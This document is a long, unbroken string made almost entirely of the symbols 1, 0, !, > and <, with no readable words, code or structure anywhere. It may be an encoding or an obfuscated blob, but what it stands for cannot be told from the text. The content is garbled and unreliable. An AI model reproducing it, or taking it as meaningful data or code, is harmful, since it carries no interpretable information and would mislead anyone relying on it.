>1!1!1>0>10110>1!1!1!10110>1!1>0>1>0>10110>1!1!1!1>01010111>01!1>0>1!1>0>1!1>0>1!1!1!1!1>0>1>0>1!1>0>1!1>0>1!1>0>1!1>0>1!1!10110>1!1!1>0>1>0>1!1>0>1!1>0>1!1>0>1>0>1!1>0>1!1>0>1>0>1!1>0>1!1>0>1!1!1!1>0>1!1>0>1!1>0>1>0>10110>1!1!1!1!1>0>10110>1!1!1>0>1!1>0>1>0>1!1!1>0>1!1!10110>1!1>0>1!1>0>1>0>1!10110>1!1>0>10110>1!1>0>1!1!1>0>1!1>0>1!1!1!1>0>1!1!10110>1!1!1!1!1>0>1!1!1>0>1>0>10110>1!1>0>1>0>1!10110>1!1!1>0>1!1!1!1>0>1>0>1!1!1>0>1>0>1!1!1>0>10110>10110>1!1>0>1>0>1!1!1!1!10110><>1!10110>1!1>0>1!1!1>0>10110>10110>1!1!1!1!10110>10110>1!1>0>1!1!1>0>1>0>1!1!1!1!1>0>1!1>0>1!1!1!1>0>1!1>0>1>0>1!1>0>1>0>1!10110>1!1!1>0>1!1!1!1>0>10110>101101010111>01!1>0>1>0>1!1>0>1>0>1!1!1>0>1!1!1>0>1!1>0>1!1!1!<>1>0>1!1>0>1>0>1!1!<>1!1>0>1!1!10110>1!1!1!1>0>10110>1!1!1!1>0>1!1>0>10110>1!1>0>1!1>0>1!1>0>1!1>0>1!1!1>0>1!1>0>1!1>0>10110>1!1!1!1!1>0>1>0>1!10110>1!1>0>1!1!1!10110>1!1!10110>1!1!1!1>0>1>0>1!1>0>10110>1!1!10110>1!1>0>1>0>1!10110>1!<>1>0>1!1>0>1!1!1>0>1>0>1!1!1>0>1!1>0>1!1!1>0>1!1>0>1!1>0>1!1!1!1>0>1!10110>1!1!1>0>1>0>10110>10110>1!1>0>1!1!1!<>1!10110>1!1!1>0>1>0>1!1!1!1>0>10110>1!1!10110>1!1>0>1!1>0>1!1>0>1!1>0>1!10110>10110><>1>0>1!1!1!1>0>1>0>1!1>0>1>0>1!1!1>0>1!1!1>0>1>0>1!10110>1!1>0>1!1>0>1>0>1!10110>10110>1!1>0>1!1>0>1!1!1!1>0>1!10110>1!1>0>1>0>1!1>0>10110>1!101101010111>01>0>1!1!1!10110>1!1!1!1!10110>10110>1!1>0>1!1>0>1!1!1>0>1>0>1!1!<>1>0>10110>10110>1!1>0>1>0>1!1>0>1>0>1!1!1>0>1>0>1!1!1>0>1!1!1>01010111>01!1>0>1!1!1!1!1>0>1!1>0>1>0>1!1!1>0>1>0>1!1!1>0>1!1>0>1!1>0>1!1>0>1!10110>1!1>0>1!1!1>0>1!1>0>1!10110>1!1!1>0>1>0>1!1!1!1>0>1>0>1!1!1>0>1>0>1!1>0>10110>1!1>0>1!10110>1!1!1>0>1!1>0>1!1!1!1!10110>1!10110>10110>1!1!1>0>1!1>0>1!1>0>1>0>1!1!1!1>0>10110>10110>1!<>1!1>0>1!10110>1!<>1>0>1!1>0>1>0>10110>1!1!1>0>1>0>1!1>0>1>0>10110>1!1>0>1!1>0>10110><>1!1>0>10110>10110>1!1>0>1>0>1!1!1>0>10110>1!1!1>0>10110>1!1>0>1>0>10110>1!1>0>1!1>0>1!1>0>10110>1!1!1>0>1!1>0>1!1!1>0>1!10110>1!1>0>1>0>10110>1!1>0>1>0>1!1!1!10110>1!1>0>1!1>0>1>0>1!1!1>0>1>0>1!1>0>10110>1!10110>1!1!1>0>1!1>0>1!1>0>1!1>0>10110>1!1>0>1!1!1>0>1!1>0>1!1!1!10110>1!1>0>1!1>0>1!1!1!1!1>0>1>0>1!1!1!1!10110>10110>1!1>0>1!1!1!1>0>1>0>1!1>0>1>0>1!1>0>1>0>1!1>0>1!1!1!1!1>0>10110>1!10110>1!1>0>1>0>1!1!1>0>1!1!1!1!1>0>1!1!1!1>0>1>0>1!1>0>1>0>1!1!1!1!1>0>101101010111>01!1!1!1!1>0>1!1>0>1!1!1>0>1>0>1!1!10110>1!1>0>1>0>1!10110>1!1!1>0>1!1>0>1!1>0>1>0>1!1!1>0>1!1!1>0>10110>1!1!1!1>0>1!1!1!1!1>0>10110>10110>1!1>0><>1!1!1>0>1>01010111>01!10110>1!1>0>1!1>0>1!1>0>1>0>1!1!1>0>1!1>0>1!1>0>10110>1!1!1!1>0>1>0>1!1!1>0>1!1!10110>1!1!1>0>1!1!1!1!10110>1!1>0>1>0>1!1>0>1!1>0>1>01010111>01!1!1>0>1!1>0>1!1>0>1!1!1!1>0>1!10110>10110>1!1>0>1!1!1>0>1!1!1!1>0>1>0>1!1!1>0>1>0>1!1>0>1!1>0>1>0>1!1>0>1!1!1>0>101101010111>01>0>1!1!1>0>1>0>1!1!1>0>1!1!1!1>0>1!10110>1!1>0>1>0>1!1!1>0>1>0>1!1>0>1!10110>1!10110>1!1>0>1>0>1!1!1>0>1!1!1!10110>1!1!1!1!1>0>1!1!<>1!1>0>1!1!101101010111>01!1!1>0>1!1>0>1>0>1!1!1!1>0>1>01010111>01!1!1>0>1!1!1>0>1>0>1!1!1>0>1!1!1!1!1>0>1!1!1>0>10110>1!1!1>0>1!1!1>0>1!1!1>0>1!1>0>1>0>1!1>0>1!1>0>1>0>1!1>0>1!1>0>1>0>1!1!1>0>1>0>1!1>0>1>0>10110>1!1!1>0>1>0>1!1!1!10110>1!1!1>0>1!1!1!1>0>1>0>1!1>0>1>0>1!1!1>0>1!1>01010111>01>0>1!1>0>1!10110>10110>1!1>0><>1!1!1>0>1!1!1>0>1>0>1!1!1>0>10110>1!1>0>10110>10110><>1!1>0>1>0>1!1!1!1>0>1!1!1!1>0>1!10110>1!1>0>1!1!1!1>0>10110>1!1!1>0>1!1!1>0>1>0>10110>1!1!1!1>0>1!1>0>1!1!1!1>0>1!1!1>0>1!1!10110>1!1!1!1>0>1!1>0>10110>10110>1!1!1>0><>10110>1!1>0>10110>1!1>0>1!1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1!1>0>1>0>10110>1!1!1!10110>1!1>0>1!10110>1!1>0>1!1>0>1!1>0>1>0>1!1!1!1>0>1>0>1!1!1>0>1>0><>1>0>1!1!1>0>1!1>0>1>0><>1>0>1!1>0>1!1>0><>1!1!1!1>0>1>0>1!1!1>0>1>0>1!10110>1!1>0>1!1!1!1>0>1!1!1!1!1>0>1>0>1!1!1>0>10110>1!1!1!1>0>1!10110>1!1>0>1>0>1!1>0>1!1>0>1!1>0><>1>0>1!1!1>0>1!1!1!10110>1!1!1!1>0>1!1!1!1!1>0>1!1!1>0>1!1!1>0>1>0>1!1!1>0>1>0>1!1>0>1!1>0>1!1>0>1!1!1>0>1>0>1!1>0>1>0>1!1>0>1!1!1!1>0>1!1>0>1!1!1>0>1!1>0>1>0>10110>1!10110>1!1>0>1!1!1>0>1>0>1!1!1>0>10110>1!1>0>1>0>1!1>0>1!1>0>1>0>1!1!1>0>1!1>0>1!1!<>1!1!1>0>1>0>1!1!1>0>10110>1!1>0>1!1>0>1!1!1!1>0>10110>1!1!1!1>0>10110>1!1!1>0>1!1>0>10110>1!1>0>10110>1!1!1!1>0>1!1!1!1>0>1>0><>1!1!1!1>0>1!1!10110>1!1!1!1!1>0>1!10110>1!1!1>0>1>0>10110>10110>1!1!1>0>1!1!1!10110>1!10110>1!10110>1!1>0>1>0>1!1>0>1!1>0>1!10110>10110>1!1>0>1!10110>10110>1!1>0>1>0>1!1>01010111>01>0>1!1!1!1>0>10110>1!1!1>0>1>0>1!1!1>0>1!1>0>1>0>10110>1!1!1>0>1!1!1!1>0>1!1>0>1!10110>1!1!1!1!10110>1!101101010111>01>0>10110>10110>1!1>0>1!1!1!1>0>1!1!1>0>1!1!1>0>1>0>1!1!1!1!10110>1!1>0>1!1>0>1!1!1>0>1>01010111>01!1>0>1>0>1!1!1>0>1!1>0>1!1>0>1!10110>1!1>0>1>0>1!1>0><>1>0>1!1>0>1!1>0>1!1>0>1!1>0>10110>1!1>0>1!10110>1!1!1!<>1!<>1!1!<>1!1!1!1!1!10110>1!1!1!1!1!1!1!1!<>1!1>01010111>01>0>1!1>0>1!1!1!1!1>0>1!<>1!<>1!1>0>1>0>1!1!1!1!10110>1!1>0>10110>1!1>0>1>0>1!1!1!1!1>0>1!1!1!1>0>1!1!1>0>1!1!1>0>1>0>1!1!1!1!1>0>1!1>0>1!1>0>1!1>0>1!1!1>0>1!1!1>01010111>01>01010111>01!1>0>1>0>1!1!<>1>0>1!1!1>0>1!1!1>0>1>0>1!1!1!10110>1!1!1!1!1!10110>1!1>0>1!1!1>0>1>0>1!1!1!1>0>1!1>0>1>0>10110><>1>0>1!10110>1!1!1>0>1!1!1>0>1>0>1!1!10110><>1!1>0>1!10110>1!1>0>1!1!1!1!10110>1!1>0>1!1>0>1!1>0>1>0>1!1>0>1!1!1>0>1!1!1!1>0>1>0>1!1!1>0>1!1>0>1!1>0>1>0>10110>1!1!1>0>10110>1!1!1!1>0>1!1!1!1!1>0>1!1!1>0>1!1>0>1!1!1>0>1!1>0>1>0>1!1!1>0>1!1>0>1>0>10110>10110>1!10110>1!1!1>0>1>0>1!1>0>1>0>1!1>0>1!1!1>0>1!1>0>1!1!1!1!<>1!1>0>1>0>1!1>0>1!<>1>01010111>01>01010111>10111>01>0>1!1!1!1>0>1!1!1>0>1!10110>1!1!1!1>0>1!1>0>1!1>0>1!1>0>1!1>0>1>0>1!<>1>01010111>01>0>10110>1!<>1>0>1!1!1!1>0>1!1!1!1>0>1>0>1!1>0>1!1>0>1!10110>1!1!<>1>0>10110>10110>1!1!1!1!10110>1!1!1!1>0>1!1!1!1>0>1!1>0>1>0>1!1!1>0>1!1>0>1!1!1>0>1>0>1!1!1>0>1>0>101101010111>01!1!1!1>0>10110>1!1>0>10110>1!1!1>0>1!1>0>1!1!1!1!1!10110>1!1>0>1!1!10110>1!1>0>1!1>0>1!1!1!1!1>0>1!10110>1!1!1>0>1!1>0>1>0>1!1!1!1>0>1!1>0>1!1>0>1!1>0>1!1!1>0>1>0>1!1>0>1>0>1!1>0>1!1>0>10110>1!1!1!1>0>1>0>1!1>0>10110>1!1>0>1!1>0>1!1!1>0>1!1>01010111>0<>1>0>1!1>01010111>01!1!1!1!1!1!10110>1!1!1!1!1>0>1!10110>1!1!1!1>0>1!1>0>1!1>0>1!1>0>1!1>0>1>0>1!<>1>01010111>01!10110>1!<>1>0>1!1!1>0>1>0>1!1!1>0>1>0>1!1!1>0>1!1>0>1>0>1!1>0>1!1!1!1!1!10110>1!1!1!1!1>0>1!1>0>1>0><>1>0>1!1!1!1>0>1!1!1>0>1>0>1!1!1>0>1!1>0>1>0>1!1>0>1!1!1!1!1!1!10110>1!1>0>1!1>0>1>0>1!1>0>1>0>1!1>0>1!1!1!1!1>0>1>0>1!1!1!1>0>1!10110>1!1>0>1>0>1!1!1>0>1!1>0>1!1>0>1!1>0>1!1!1>0>1>0>1!1>0>1!1>0>1>0>1!1>0>1>0>1!1>0>1!1!1>0>1!1>0>1>0>1!1!1!1>0>1!1>0>1!1>01010111>01!1!1!1>0>1>0>1!1!1>0>1!1!1!1>0>1>0>1!1!<1010111>01!1>0>1!1>0>1!1>0>1!1>0>1>0>1!<>1>0>1!1!1!1!1!10110>1!1>0>1!<>1>0>1!1!1>0>1!1!1>0>1>0>1!1!1!1>0>1!1!1!1>0>1>0>1!1!1>0>1>0>1!1>0>1>0>1!<>1>0>1!1!1>0>1!101101010111>01!1!1>0>1!10110>10110>1!<>1>0>1!1!1>0>1!1!1!1!1>0>1!1!1!1!1>01010111>01!1!1!1>0>1!1!1!1>0>1!10110>1!1!1!1>0>1!1>0>1!1>0>1!1>0>1!1>0>1>0>1!<>1>0>1!1!<>1!1>0><>1>01010111>01!1!1!1!1>0>1>0>1!1!1!1!1!1!101101010111>01!1>01010111>01!1>01010111>01!1!<>1>01010111>01>0>1!1>0>1!1>01010111>10111>01>0><>1!1>0>1!1!<>1>0>1!1!1!1!1>0>1>0><1010111>01!1>0>1!1!1>0>1!1!1>0>1!10110>1!1!1!1>0>1!1>0>1!1>0>1!1>0>1!1>0>1>0>1!<>1>01010111>01>0>1!1!1>0>1!<>1>0>1!1!1!1!1>0>1>0>1!1>0>1>0>1!1!1>0>1!1!10110>1!1>0>1>0>1!1!1!1>0>1>0>1!1!10110>1!1>0>1!1!1!1!1>0>1!10110>1!1>0>10110>1!1>0>1>0>1!1>0>10110>1!1>0>1>0>1!1!1>0>1!1!10110>1!1>0>1!1>0>1>0>1!1>0>1!1!1!1!1>0>1>0>1!1>0>1>0>1!1>0>1!1!1!1!1>0>1>0>1!1>0>1>0>1!1!10110>1!1!1>0>1!1!10110>1!1>0>1!1>0>1!1!1>0>1>0>1!1!1>0>1>0>1!10110>1!1>0>1!1!1>0>1!1>0>1>0>1!1!10110>1!1>0>1>0>1!1>0>1!1>0>1!10110>1!1>0>10110>1!1>0>1!1!1>0>1!1>0>1>0>1!1>0>1>0>1!1>0>10110>1!1>0>1>0>1!1>0>1>0>1!1!1!1>0>1>0>1!1!10110>1!1>0>1!1!1!1>0>1!1!1!1>0>1>0>1!1>0>1>0>1!1!1!1>0>1>0>1!1>0>1!1>0>1>0>1!1>0>1>0>1!1>0>1!1!1>0>10110>1!1>0>1>0>1!1!10110>1!1!10110>1!1>0>1!1!1>0>1>0>1!1!10110>1!1>0>10110>1!1>0>1!1!1>0>10110>1!1>0>1!1!1!1>0>1!10110>1!1!1!1!1!1!10110>1!1!1!1>0>1!10110>1!1!1!1>0>1!10110>1!1!1!1!1>0>1!1>0>1>0>1!1>0>1!1>0>1!1!1>0>1!1!1!1>0>1>0>1!1!1!1!1>0>10110>1!1!1>0>1!<>1!1>0>1>0>1!1!1>0>1!1>0>1!<>1!10110>1!1>0>1!1>0><>1>0>1!1!1>0>1!1>0>1>0>1!1>0><>1>0>1!1!1>0>10110>1!1>0>1!1!1!1!1>01010111>01>0>10110>1!1!1!1>0>1!10110>1!1!1!1>0>1!1>0>1!1>0>1!1>0>1!1>0>1>0>1!<>1>0><>1>0>1!1>0>1>0><>1>0>1!1!1>0>1!1>0>1>0>1!1>0>1>0>1!1>0>10110>1!1>0>1>0>1!1>0>1>0>1!1!1!1>0>1>0>1!1!10110>1!1>0>1!1!1!1!1>0>1!1!1>0>1>0>1!1>0>1>0>1!1!1!1>0>1>0>1!1>0>1!1>0>1>0>1!1>0>1>0>1!1>0>1!1!1>0>10110>1!1>0>1>0>1!1!10110>1!1!10110>1!1>0>1!1!1>0>1>0>1!1!10110>1!1>0>10110>1!1>0>1!1!1>0>10110>1!1>0>1!1!1!1>0>1!10110>1!1!1!1!1!1!10110>1!1!1!1>0>1!10110>1!1!1!1>0>1!10110>1!1!1!1!1>0>1!1>0>1>0>1!1!1>0>1!1!1>0>1!1!1!1!1>0>1>0>1!1!1!1!1>0>1>0>1!1!1!1!1!<>1>0>1!1!101101010111>01!1>01010111>01!1>01010111>01!1!<>1>01010111>01>0>1!1>0>1!1>01010111>10111>01>0><>10110>1!<>1>0>1!<><>1>0>1!1!1!1>0>1!1!1!1>0>1!1!1!1!1>01010111>01!<>1!1!1!1!1!1!1!101101010111>01!1>01010111>01!1>01010111>01!1!<>1>01010111>01>0>1!1>0>1!1>01010111>10111>01>0>1!1!1!1!1!1!10110>1!1>0><>1>0>1!1!1>0>1!1!1!1!1>0>1>0>1!1!1!1!1!10110>1!1!1>0>1!1!10110>1!1>0>10110>1!1>0>1!1!1>0>1!1>0>1>0>1!1>0>1>0>1!1>0>10110>1!1>0>1>0>1!1>0>1>0>1!1!1!1>0>1>0>1!1!10110>1!1>0>1!1!1!1>0>1!1!1!1>0>1>0>1!1>0>1>0>1!1!1!1>0>1>0>1!1>0>1!1>0>1>0>1!1>0>1>0>1!1>0>1!1!1>0>10110>1!1>0>1>0>1!1!10110>1!1!10110>1!1>0>1!1!1!1!1>0>1!1!1>0>1>0>1!1>0>10110>1!1>0>1!1!1>0>10110>1!1>0>1!1!1!1>0>1!10110>1!1!1>0>1>0>1!1!10110>1!1!1!1!1!10110>1!1!1!1>0>1!10110>1!1!1!1>0>1!10110>1!1!1!1!1>0>1!1>0>1>0>1!10110>1!1>0>1!1!1!1!1>0>1!1>0>1>0>1!1!1!1>0>1!1!1>0>1>0>1!<>1>0>1!1!1!1>0>1!<>1!1!1!1!1!1!101101010111>01!1>01010111>01!1>01010111>01!1!<>1>01010111>01>0>1!1>0>1!1>01010111>10111>01>01010111>01!1>0>1!1!1>0><>1>0>1!1!1>0>1>0>1!1!10110>1!1!1!1!1!10110>1!1>0>1>0>1!1!1!1>0>1>0>1!1>0>10110>1!1>0>1!1!1>0>1!1>0>1>0>1!1>0>1>0>1!1>0>10110>1!1>0>1>0>1!1>0>1>0>1!1!1!1>0>1>0>1!1!10110>1!1>0>1!1!1!1>0>1!1!1!1>0>1>0>1!1>0>1>0>1!1!1!1>0>1>0>1!1>0>1!1>0>1>0>1!1>0>1>0>1!1>0>1!1!1>0>10110>1!1>0>1>0>1!1!10110>1!1!10110>1!1>0>1!1!1!1!1>0>1!1!1>0>1>0>1!1>0>10110>1!1>0>1!1!1>0>10110>1!1>0>1!1!1!1>0>1!10110>1!1!1>0>1>0>1!1!10110>1!1!1!1!1!10110>1!1!1!1>0>1!10110>1!1!1!1>0>1!10110>1!1!1!1!1>0>1!1>0>1>0>1!10110>1!1>0>1!1!1!1!1>0>1>0>1!1>0>1!1!1!1>0>1!1!<>1!1!1!1!1!1!101101010111>01!1>01010111>01!1>01010111>01!1!<>1>01010111>01>0>1!1>0>1!1>01010111>10111>01>01010111>01>0>1!1!1!1>0><>1>0>1!1!1!1!1>0>1>0>1!1!1>01010111>01>0>1!1!1>0>1>0>1!1!1!1!1!1!10110>1!1>0>1!1!1!101101010111>01!<>1!1>0>1!1!1!1>0>1!1!1!1!1>0>1>0>10110>1!1>0>1>0>1!1!1!1!1>0>1>0>1!1!1!1!<>1!1!1>0>1!1!1>0>1>0>1!1!1!1!1>01010111>01>0>1!1>0>1>0>1!1>01010111>01>01010111>01>0>1!1>0>1>0>1!1>01010111>01>0>1!1!1>0>1!10110>1!1>01010111>01>0>1!1!1>0>1>0>10110>1!1>0>1!1!1!1>0>1!1!1!1!<>1!1!1>0>1!10110>1!1!1!1>0>1!1>0>1!1>0>1!1>0>1!1>0>1>0>1!<>1>0><>1>0>1!1!1>0>1>01010111>01>0>1!1!1!1!<>1!1!<>1!1!1!1!1!1!10110>10110>10110>1!<>1!1!<>1>0>1!1!1!<>1>01010111>0<>1!1!1!1!1!10110>10110>10110>1!<>1!<>1>0>1!1!1>0>1!1!1!1>0>1!10110>1!1!1!1>0>1!1>0>1!1>0>1!1>0>1!1>0>1>0>1!<>1>0><>1!1!1>0>1!<>1>0>1!1!1!1>0>1>01010111>01!1!<><>1>0>1!1!<>1!<>1!1!1!1!1!10110>10110>10110>1!<>1!<>10110>1!1!1!1!1>0>1!10110>1!1!1!1>0>1!1>0>1!1>0>1!1>0>1!1>0>1>0>1!<>1>0>1!1!1!1!1!1!10110>1!1!<>1>0>1!1!1>0>1>0>1!1!10110>1!1>0>1!1!<1010111>01!1!1!1!1>0>1>0>1!1!10110>1!10110>1!1>0>1!1!<>1!1!1!1!1!10110>1!1!1!1>0>1!1>0>1>0>1!1!1!1!1!1!1!1!1!<>1!<>1>0>1!<>1!1!1!1!1!1!10110>1!1>0>1>0>1!1!1>0>1!1!1!1!1>0>1!1>0>1>0>1!1>0>1!1!1!1>0>1>0>1!1!1!1>0>10110>1!1!1>0>1>0>1!1!1!1!1>0>10110>1!1>0>1!1!1>0>1!1>0>1>0>1!1>0>1>0>1!1!1!1!1>0>1!1>0>1!1>0>1>0>1!10110>1!1!1!1!1>0>1>0>1!1!1>0>1!1>0>1!1>0>1>0>1!10110>1!1>0>1!10110>1!10110>1!1!1!1>0>1!1!1>0>1!1>0>1>0>1!1!1!10110>1!1!10110>1!1!1>0>1>0>1!1!1>0>1!1!1>0>10110>1!1!1>0>1!1!1>0>1!1>0>1>0>1!1>0>10110>1!1>0>1!1!1>0>1!1!1>0>1!1>0>1!10110>1!1!1>0>1!1!1!1>0>1!1!1!1>0>1!1>0>1>0>1!1>0>1>0>1!1>0>1!10110>1!1!1!1>0>1!1>0>1!1>0>1!1>0>1>0>1!1!1>0>1!1!10110>1!1!1!1>0>1>0>1!1>0>1>0>10110>1!1>0>1>0>1!1>0>1>0>10110>1!1>0>1>0>10110>1!1>0>1!1>0>1!1!1!1>0>1>0>1!1>0>1!10110>1!1!1>0>1>0>10110>1!1!1>0>1>0>1!1!10110>1!1!1!1>0>1>0>1!1>0>1!1>0>1>0>10110>1!1!1>0>1!1!1>0>1!1>0>1!1>0>1!10110>1!1!1!1!1>0>1!1!1>0>1>0>1!1>0>1!1>0>1>0>1!1>0>1>0>1!1!1!1>01010111>01!1!1>0>1!1!1>0>1>0>1!1!1>01010111>010110>1!1!1!1>0>1!1!1>0>10110>1!1!1!1>0>1!1>0>1!1!1>0>1>0>1!1!1>0>1!1!1>0>1>01010111>01>0>1!1>0>1!1>0>1!1!1!1>0>10110>1!1!1>0>1!1>0>1!1!1!1>0>1>0>1!1>0>1!1>0>1>0>1!1!1>0>1!1!1>0>10110>1!1!1!1>0>1!1!1!1!1>0>1>0>1!1>0>1!1>0>1>0>1!10110>10110>1!1>0>1!1>0>1!1!1!1>0>1!1!1>0>1>0>1!1!1>0>1!<>1!10110>1!10110>1!1!1>0>1>0>1!1!1>0>1!1>0>1!1>0>10110>1!1>0>1!1!1>0>1!1>0>1!1!1!1>0>1>0>1!1>0>1!1!1>0>1!1>0>10110>1!1!10110>1!10110>1!1>0>1!1!1!1>0>1>0>1!1>0>1!1>0>1!1>0>1>0>1!1!1!1!1>0>1!1!1!1>0>1>0>1!1>0>1!1>0>1!1!1>0>1!1>0>1>0>10110>1!1>0>10110>1!1>0>1>0>1!1!1>0>1>0>1!1!1>0>1!1!1>0>1>0>1!1>0>1!1>0>1>0>10110>1!1!1>01010111>010110>10110>1!1!1>0>1>0>1!1!1>0>1>0>1!1!1!1>0>1!1>0>1!1>0>1>0>1!1>0>1>0>1!1!1>0>1>0>1!1!1>0>1!1>0>10110>10110>1!10110>1!1!1>0>1!1!10110>1!10110>1!1>0>1!1>0>1!1!1>0>1!1!1>0>1!1!1>0>1!1!1>0>10110>1!1>0>1!1>0>10110>10110>1!10110>1!1>0>10110>1!1!1!1>0>1!1!10110>1!1>0>1>0>1!1>0>1>0>1!<>10110>1!1!1!1>0>10110>10110>1!1>0>1>0>1!1>0>1>0>1!1>0>1!1>0>1>0>1!1!1>0>1!1>0>1!1!1!1>0>1>0>1!1!1>0>1>0>1!1!1>0>1!1!1>0>1!10110>1!1!1!1!1!1!10110>1!1>0>1!1>0>10110>1!1>0>1!1>0>1>0>1!1!1!1>0>1!1!1>0>1>0>1!1!1>0>1!1!1!1>0>1!1!1!1>0>1>0>1!1!1!1!1>0>1>0>10110>1!1>0>1!1!1>0>1!1>0>1>0>1!1>0>1>0>1!1!1>0>1!1>0>1!1!1>0>1>0>1!1>0>1>0>1!1>0>1!1>0>10110>1!1!1>0>1!1>0>1!1>0>10110>1!10110>1!1!1!1>0>1!1>0>1!1!1>0>1>0>10110>10110>10110>1!1!1>0>1!1!1>0>1!1>0>1>0>1!1!1>0>1>0>1!1!10110>1!1>0>1>0>1!1>0>1!1>0>1!1>0>1!1!1!1!1>0>1!1!10110>10110>1!1>0>1>0>1!1!1>0>1!1!1>0>1>0>101101010111>01!1!1!1!1>0>1>0>1!1>0>10110>1!1>0>1>0>1!1!1!1!1>0>1>0>1!1>0>1>0>1!1!1>0>1!1!1>0>1!1>0>1>0>1!1!1!1!1>0>1>01010111>01!1!1>0>1!1!10110>10110>10110>1!1!1!1!1>0>1!1>0>1>0>1!1>0>1>0>1!1!1>0>1!1>0>1!1!1!1>0>1>0><>1>0>1!1!1!10110>1!1!1!10110>1!1!1!1>0>1>0>10110>1!1>0>1!1!1!1>0>1!1>0>1>0>1!1!1>0>1!1!1!10110>1!1!1!1!10110>1!1!1>0>1!1!1!1!1>0>1!1!1>0>1!1>0>10110>1!1!1!1>0>1!1>0>1!1>0>1!1>0>1!1>0>1>0>1!1!1>0>1!1!1>0>1!10110>10110>1!1!1!1!10110>1!10110>1!1!1>0>1>0>1!1!10110>1!1!1!1>0>10110>1!1!1!1>0>1>0>10110>1!1!1!1!1>0>1!10110>1!1!1>0>1!1>0>1!1>0>1>0>1!1>0>1!1!1!1>0>1>0>1!1!1>0>1!1>0>1!1!1>0>1!1>0>1>0>1!1>0>1!1>0>1!1>0>10110>1!1>0>1>0>1!1>0>1>0>1!10110>1!1!1!10110>1!1>0>1>0>1!1!1!1>0>1!10110>1!1!1>0>1>0>1!10110>1!1!1!1>0>10110>1!1!1!1!1>0>1>0>10110>1!1>0>1!1>0>1>0>1!1>0>1>0>1!1>0>10110>1!1>0>1>0>1!1>0>10110>1!1>0>1!1!1>0>1!1>0>1!1!1>0>1!1!1!1!1>0>1>0>1!1>0>1!1!1!10110>1!1!101101010111>010110>1!1!1!1!10110>1!1>0>10110>1!1!1>0>1!1!1>0>1!1!1!1!1!10110>10110>10110>1!1!10110>1!1>0>1!1!1>0>1!1!10110>1!1!1!1>0>1>0>1!1>0>1!1!1>0>1>0>1!1>0>1>0>1!1>0>1!1>0>1!1!1!1>0>1>0>10110>1!1!1>0>1>0>1!1>0>1>0>1!1!10110>1!10110>1!1!1!1!10110>10110>1!1!1>0>1>0>10110>1!1!1!1>0>1!1!1>0>1>0>1!1>0>1!1>0>1!1!1>0>1!1!1!1>0>1>0>1!1>0>1>0>10110>10110>1!10110>1!1>0>1>0>1!1!1!1>0>1!1>0>1>0>1!1>0>1!10110>1!1>0>1!1!1>0>10110>1!1>0>1!1!1>0>1>0>1!1!10110>1!1!1!1>0>1!1!1>0>10110>1!1!1!1>0>1>0>10110>1!1>01010111>01!10110>1!1!10110>1!1>0>1>01010111>01!1!1!1>0>1!1!1>0>1!1!1>0>1!1>0>1!1>0>1>0>1!1!1!10110>1!1!<>1!1>0>1!1>0>1>0>1!1>0>1>0>1!1!1>0>10110>1!1>0>1!1>0>10110>10110>1!1!1>0>10110>1!1>0>1>0>1!1>0>1!1!1!10110>10110><>1>0>1!1!1>0>1!10110>1!1>0>1!10110>1!10110>10110>1!1>0>1>0>1!1>0>1>0>1!1!1!1!1>0>1!1!1!1>0>1>0>1!1!1!1!1>0>1>0>10110>1!1!1!1!1>0>1!1!1>0>1!1>0>1>0>1!1>0>1!1>0>1!1>0>1>0>1!1>0>1!1!1!1!10110>10110>1!1!1>0>10110>1!1!10110>1!1!1!1!1>0>1>0>10110>1!1!1>0>1>0>1!10110>1!1!1!1>0>1>0>1!1!1!1>0>1>0>1!10110>1!10110>1!1>0>1!1!1>0>1!1!10110>1!1>0>1>0>1!1!1>0>1!1>0>1!1!1>0>1!1!1>0>1>0>1!1>0>1>0>1!1>0>1!1!1!1!1>0>10110>1!10110>1!1>0>1>0>1!1!1>0>1!1>0>1!1!1>0>1>0>1!1>0>1!1!1>0>1!1!1!1>0>1!1>01010111>01!1!1>0>1>0>1!1>0>1!1!1>0>1!1!10110>1!1>0>1>0>1!1!1>0>1!1!1>0>1!1>0>1!1>0>1>0>1!10110>1!1>0>1!1!1>0>1!1>0>1!1!1>0>1>0>1!1!1!1!1!1!1!1!1!1!10110>1!1!1>0>1!1!1!1>0>1!1>0>1>0>1!1!1>0>1!1>0>1>0>1!1!1!1!10110>1!1>0>1!1>0>1>0>1!1>0>1!1>01010111>010110>1!1!1!1>0>1!1>0>1!1!1>0>1>0>1!1!1!1!1>0>1>0>1!1>0>1!1>0>1>0>1!1!1!10110>1!1!1!1>0>10110>1!1!1>0>1!1>0>1>0>1!1>0>1!1>0>1>0>1!1!1!1!1!<>1>0>1!10110>1!1!1>0>1>0>10110>1!1>0>1!1>0>1!1>0>1!1>0>1>0>1!1>0>1!10110>1!1>0>1!1!1!1>0>1!1>0>1>0><>1!1>0>1!1>0>1>0>1!1!1!1>0>1!10110>1!1>0>1!1!1>0>1!1!10110>1!1!1!1>0>1>0>1!1!1!1>0>1>0>1!10110>1!1!1>0>1>0>10110>1!1!1>0>1!1>0>1!1>0>1!1>0>1!1>0>1!1>0>1!1!1>0>1>0>1!1>0>1!1>0>1!10110>1!1!1>0>1>0>1!1!1>0>1>0>1!1>0>1!1>0>1>0>1!10110>1!1>0>1!1!<>1!<>1!1!<1010111>01!1>0>1!<>1!1>0>1!1!1!1!1>0>1!1!<1010111>01!1!1!1!1>0>1>0>1!1!1!1!<>10110>1!1!1!1!1>0>1!1!<>1!1!1!1!1!10110>1!1!1!1!1!1!1!1!<>1!1>01010111>01!<>1!<>1!<>1!1>0>1>0>1!1!1!1!10110>1!1>0>10110>1!1>0>1>0>1!1!1!1!1>0>1!1!1!1>0>1!1!1>0>1!1!1>0>1>0>1!1!1!1!1>0>1!1>0>1!1>0>1!1>0>1!1!1>0>1!1!1>01010111>01>01010111>01!1>0>1>0>1!1!<>1>0>1!1!1!1>0>1!1!1!1>0>1!1!1>0>1!1!<1010111>01!1!1!1!1>0>1>0>1!1!1>01010111>01!1>0>1>0>1!1!1!1!1>0><>1!1!10110>1!1!1>0>1>0>1!1!10110>1!1>0>1>0>1!1>0>1!1!1>0>1!1>0>1>0>1!1!1!1!1!10110>1!1>0>1!1>0>1>0>1!1>0>1>0>1!1>0>1!1!1!1!1>0>1>0>1!1!1!1>0>1!10110>1!1>0>1>0>1!1!1>0>1!1>0>1!1>0>1!1>0>1!1!1>0>1>0>1!1>0>1!1>0>1>0>1!1>0>1>0>1!1>0>1!1!1>0>1!1>0>1>0>1!1!1!1>0>1!1>0>1!1>0><>1!1!1!1>0>1>0>1!1>0>1>0>1!1!1>0>1!1>0>1!1>